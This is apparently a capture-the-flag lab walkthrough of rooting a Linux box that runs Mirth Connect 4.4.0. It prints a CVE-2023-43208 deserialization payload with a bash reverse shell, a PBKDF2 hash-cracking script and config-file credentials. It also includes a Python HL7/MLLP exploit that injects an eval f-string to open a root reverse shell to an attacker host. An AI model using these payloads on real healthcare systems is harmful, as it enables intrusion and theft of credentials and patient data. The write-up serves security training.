Attack Chain Summary
CVE-2023-43208 (RCE) → mirth shell
↓
DB creds in mirth.properties → PBKDF2 hash extraction
↓
Python cracker → SSH as sedric
↓
HL7 MLLP channel analysis → SSTI in notif.py → root shellDate: March 21, 2026 | Difficulty: Medium | OS: Linux
1. Reconnaissance
Port Scanning
I started with a full port scan using RustScan followed by Nmap for service detection.
rustscan -a 10.129.244.184 -r 1-65535
nmap -sC -sV 10.129.244.184 -p22,80,443 -PnThe initial Nmap scan without -Pn showed the host as down because the target was blocking ICMP ping probes. Adding -Pn forced Nmap to skip host discovery and scan directly, revealing the open ports.
Open ports:
- 22: SSH
- 80: HTTP
- 443: HTTPS
Web Enumeration
Visiting port 80 via curl revealed a Mirth Connect Administrator login page, a Java-based healthcare integration engine by NextGen Healthcare.
I downloaded the webstart.jnlp file from the target and inspected it:
head webstart.jnlpThis confirmed the version:
<jnlp codebase="https://10.129.244.184:443" version="4.4.0">I also verified the version directly via the Mirth REST API. The first attempt failed because I forgot the required header:
# Failed: missing required header
curl https://10.129.244.184/api/server/version -k
# HTTP ERROR 400: All requests must have 'X-Requested-With' header
# Correct request
curl -k -H 'X-Requested-With: OpenAPI' https://10.129.244.184:443/api/server/version
# Response: 4.4.0Mirth Connect 4.4.0 is vulnerable to CVE-2023-43208.
2. Initial Access: CVE-2023-43208 (RCE)
Understanding the Vulnerability
CVE-2023-43208 is an unauthenticated remote code execution vulnerability in Mirth Connect affecting all versions before 4.4.1. It exploits Java deserialization using Apache Commons Collections, allowing a specially crafted XML payload to execute arbitrary OS commands without any authentication.
The attack works by sending a malicious serialized Java object to the /api/users endpoint. When Mirth deserializes it, the payload triggers a chain of transformer calls that ultimately calls Runtime.exec() with attacker-controlled input.
Crafting the Payload
I crafted a payload.xml file that uses the Commons Collections transformer chain to execute a bash reverse shell:
<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<!-- ... transformer chain ... -->
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iArgs>
<string>bash -c 'bash -i >& /dev/tcp/10.10.16.73/4444 0>&1'</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
</handler>
</dynamic-proxy>
</sorted-set>I sent it to the /api/users endpoint:
curl -X POST "https://10.129.244.184:443/api/users" \
-H "Content-Type: application/xml" \
-H "X-Requested-With: OpenAPI" \
--data-binary @payload.xml -kThe server returned a 500 error: but that's expected. The deserialization happens server-side before the response is generated, meaning the payload already executed. My listener caught the shell:
nc -lvnp 4444
connect from 10.129.244.184
mirth@interpreter:/usr/local/mirthconnect$I upgraded the shell using:
SHELL=/bin/bash script -q /dev/null
export TERM=xterm3. Enumeration as mirth
Credential Discovery in mirth.properties
I navigated to the Mirth Connect configuration directory and read mirth.properties:
cat /usr/local/mirthconnect/conf/mirth.propertiesThis file contained several critical credentials:
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
database.username = mirthdb
database.password = MirthPass123!
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prodThe file also confirmed the exact Mirth version and that the backend database is MariaDB.
Database Enumeration
I connected to the MariaDB instance using the discovered credentials:
mysql -u mirthdb -p'MirthPass123!' -h localhost mc_bdd_prodI listed the tables and focused on user-related ones:
SELECT * FROM PERSON LIMIT 10;
SELECT * FROM PERSON_PASSWORD LIMIT 10;This revealed a system user named sedric (also present in /etc/passwd with a bash shell), along with their password hash:
u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==4. Lateral Movement: mirth → sedric
Hash Analysis
I decoded the Base64 hash and inspected the raw bytes:
echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | xxd00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c
00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5
00000020: 5603 f90b 32dd f0fbThe total is 40 bytes. Knowing that PBKDF2-HMAC-SHA256 produces a 32-byte derived key, the structure became clear:
- Bytes 0–7 (8 bytes) = Salt →
bbff8b0413949da7 - Bytes 8–39 (32 bytes) = Derived key →
62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb
Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256 with 600,000 iterations: a strong algorithm, but useless against a weak password.
Cracking the Hash with Python
Hashcat was too slow on my VM, so I wrote a custom Python cracker using multiprocessing to parallelize across all CPU cores:
import hashlib, time, sys
from multiprocessing import Pool, cpu_count
SALT = bytes.fromhex("bbff8b0413949da7")
TARGET = bytes.fromhex("62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb")
WORDLIST = "/usr/share/wordlists/rockyou.txt"
def check_password(args):
password, salt, target = args
password = password.strip()
dk = hashlib.pbkdf2_hmac("sha256", password, salt, 600000)
return password if dk == target else None
def chunkify(file, size):
chunk = []
for line in file:
chunk.append((line, SALT, TARGET))
if len(chunk) >= size:
yield chunk
chunk = []
if chunk:
yield chunk
if __name__ == "__main__":
cores = cpu_count()
print(f"[*] Algorithm: PBKDF2-HMAC-SHA256")
print(f"[*] Iterations: 600,000")
print(f"[*] CPU cores: {cores}")
start_time = time.time()
tested = 0
with open(WORDLIST, "rb") as f, Pool(cores) as pool:
for chunk in chunkify(f, size=cores):
results = pool.map(check_password, chunk)
tested += len(chunk)
for result in results:
if result:
elapsed = time.time() - start_time
print(f"\n[+] Password found: {result.decode()}")
print(f"[+] Tested: {tested} passwords")
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
pool.terminate()
sys.exit(0)
if tested % 100 == 0:
elapsed = time.time() - start_time
rate = tested / elapsed if elapsed > 0 else 0
print(f"[*] Tested: {tested:<6} | Elapsed: {elapsed:.1f}s | Rate: {rate:.2f} pwd/s", end="\r")Result: snowflake1
The high iteration count (600,000) made each guess very slow, but the password was weak and in rockyou.txt. This highlights an important lesson: even the strongest hashing algorithm can't protect a dictionary password.
SSH as sedric
ssh sedric@10.129.244.184
# Password: snowflake1user.txt: 3c2b1423e442e88a02d97aa1f0f828f2
5. Privilege Escalation: sedric → root
Discovering the Internal HL7 Channel
I checked listening ports:
ss -tulnpKey findings:
- Port 6661: listening on
0.0.0.0(externally accessible) - Port 54321: listening only on
127.0.0.1(internal only)
I connected to port 6661 with nc and tried HTTP, no response. That's expected because port 6661 is an MLLP (Minimal Lower Layer Protocol) listener, not HTTP. MLLP is used to transmit HL7 healthcare messages over TCP and requires special framing bytes, 0x0B to start and 0x1C0D to end a message.
Analyzing the Mirth Channel Configuration
I queried the CHANNEL table in the database:
SELECT * FROM CHANNEL\GThe channel named INTERPRETER - HL7 TO XML TO NOTIFY revealed the complete data flow:
- Receives HL7 ADT^A01 messages on port 6661 via MLLP
- Transforms them to XML using field mappings:
PID.5.2(firstname) →<firstname>in XMLPID.5.1(lastname) →<lastname>in XML
- POSTs the resulting XML to
http://127.0.0.1:54321/addPatient
I also decoded the Base64 inbound template to confirm the HL7 message structure:
echo "TVNIfF5+..." | base64 -d
# MSH|^~\&|WEBAPP|INTERPRETER|MIRTH|INTERPRETER|TIMESTAMP||ADT^A01||P|2.5
# PID|1||PATIENTID^^^INTERPRETER||LASTNAME^FIRSTNAME||DATEOFBIRTH|GENDERProbing the Internal Flask App
I used chisel to tunnel port 54321 to my Kali machine:
# Kali (server)
./chisel server -p 51234 --reverse
# Target (client)
./chisel client 10.10.16.73:51234 R:54321:127.0.0.1:54321 R:6661:127.0.0.1:6661Probing the endpoint:
curl -v http://127.0.0.1:54321/addPatient
# HTTP 405 Method Not Allowed
# Server: Werkzeug/2.2.2 Python/3.11.2
# Allow: OPTIONS, POSTThis revealed a Python Flask application. Testing with POST and XML:
curl -X POST http://127.0.0.1:54321/addPatient \
-H "Content-Type: application/xml" \
-d '<patient><firstname>test</firstname>...</patient>'
# Response: [INVALID_INPUT]The app was parsing XML but rejecting the input, the parser was working.
Identifying the SSTI Vulnerability
Reading the source code of /usr/local/bin/notif.py revealed the exact vulnerability:
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
template = f"Patient {first} {last} ..."
return eval(f"f'''{template}'''")Two critical issues:
- The regex allows curly braces
{}, exactly what's needed for f-string injection - The template is passed directly to
eval()as an f-string, meaning any{expression}insidefirstgets executed as Python code
Since ps aux showed notif.py running as root, any code injected through this path executes with root privileges.
Crafting the SSTI Exploit via HL7
I wrote a Python exploit that:
- Constructs a reverse shell one-liner
- Base64 encodes it for safe transport
- Wraps it in an SSTI payload inside the
PID.5.2(firstname) HL7 field - Frames the HL7 message with MLLP bytes and sends it to port 6661
import socket, base64
TARGET = "10.129.244.184"
PORT = 6661
shell = (
'import socket,subprocess,os;'
's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
's.connect(("10.10.16.73",7777));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);'
'import pty;pty.spawn("sh")'
)
b64 = base64.b64encode(shell.encode()).decode()
PAYLOAD = f"{{exec(__import__('base64').b64decode('{b64}').decode())}}"
msh = "MSH|^~\\&|EXPLOIT|INTERPRETER|MIRTH|INTERPRETER|20240101120000||ADT^A01|MSG001|P|2.5"
pid = f"PID|1||PATIENTID^^^INTERPRETER||LASTNAME^{PAYLOAD}||19900101|M"
hl7 = f"{msh}\r{pid}\r"
# MLLP framing: 0x0B + message + 0x1C 0x0D
framed = b'\x0B' + hl7.encode() + b'\x1C\x0D'
s = socket.socket()
s.settimeout(5)
s.connect((TARGET, PORT))
s.sendall(framed)
print("[+] Payload sent. Check your listener...")
try:
print(f"Response: {s.recv(4096)}")
except:
print("[*] No response received (normal)")
s.close()How it works: The HL7 message flows through Mirth Connect's channel, which extracts PID.5.2 as firstname and puts it into the XML <firstname> field. Flask's notif.py receives the XML, extracts the firstname value, and passes it to template(). The regex allows {} characters, so validation passes. The value then lands inside the f-string passed to eval(), which executes the injected exec(...) expression, decoding and running the base64 reverse shell, as root.
Getting Root
nc -lvnp 7777
# connect from 10.129.244.184
# id
# uid=0(root) gid=0(root) groups=0(root)root.txt: 80f1e9e28d8a923e6a545e0baeaf239a
6. Why Things Worked (and Why They Didn't)
| Observation | Why |
|---|---|
| First Nmap showed host down | Target blocks ICMP; needed -Pn to skip ping check |
curl to /api/server/version gave 400 | Mirth requires X-Requested-With: OpenAPI header on all API requests as CSRF protection |
| CVE payload returned 500 but shell still came | Deserialization runs before response generation; 500 just means the handler crashed after the payload already executed |
nc to port 6661 got no response | Port 6661 is an MLLP listener, not HTTP, requires special 0x0B / 0x1C0D framing bytes |
| SSTI regex validation was bypassed | The regex ^[a-zA-Z0-9._'"(){}=+/]+$ explicitly allows { and } which are the injection characters |
| Shell came back as root | notif.py was started and run by root, any code executed inside it inherits root privileges |
7. Tools Used
| Tool | Purpose |
|---|---|
| RustScan / Nmap | Port scanning |
| curl | Web enumeration and payload delivery |
| Python | Custom PBKDF2 cracker, SSTI exploit, HL7 exploit |
| chisel | Reverse port tunnelling to expose internal services |
| MariaDB CLI | Database enumeration |
| netcat | Reverse shell listener |
8. Key Takeaways
- Mirth Connect exposes a powerful API that requires minimal authentication by default, always patch to latest versions
- Credentials hardcoded in config files are low-hanging fruit during post-exploitation
- PBKDF2 with 600,000 iterations is strong, but useless against a weak password like
snowflake1 - Running internal services as root when they don't need to be is a dangerous misconfiguration
- Allowing
{}in input validation while usingeval()on the sanitized input completely defeats the purpose of sanitization - Always enumerate internal ports, the real privilege escalation path was hidden behind a localhost-only service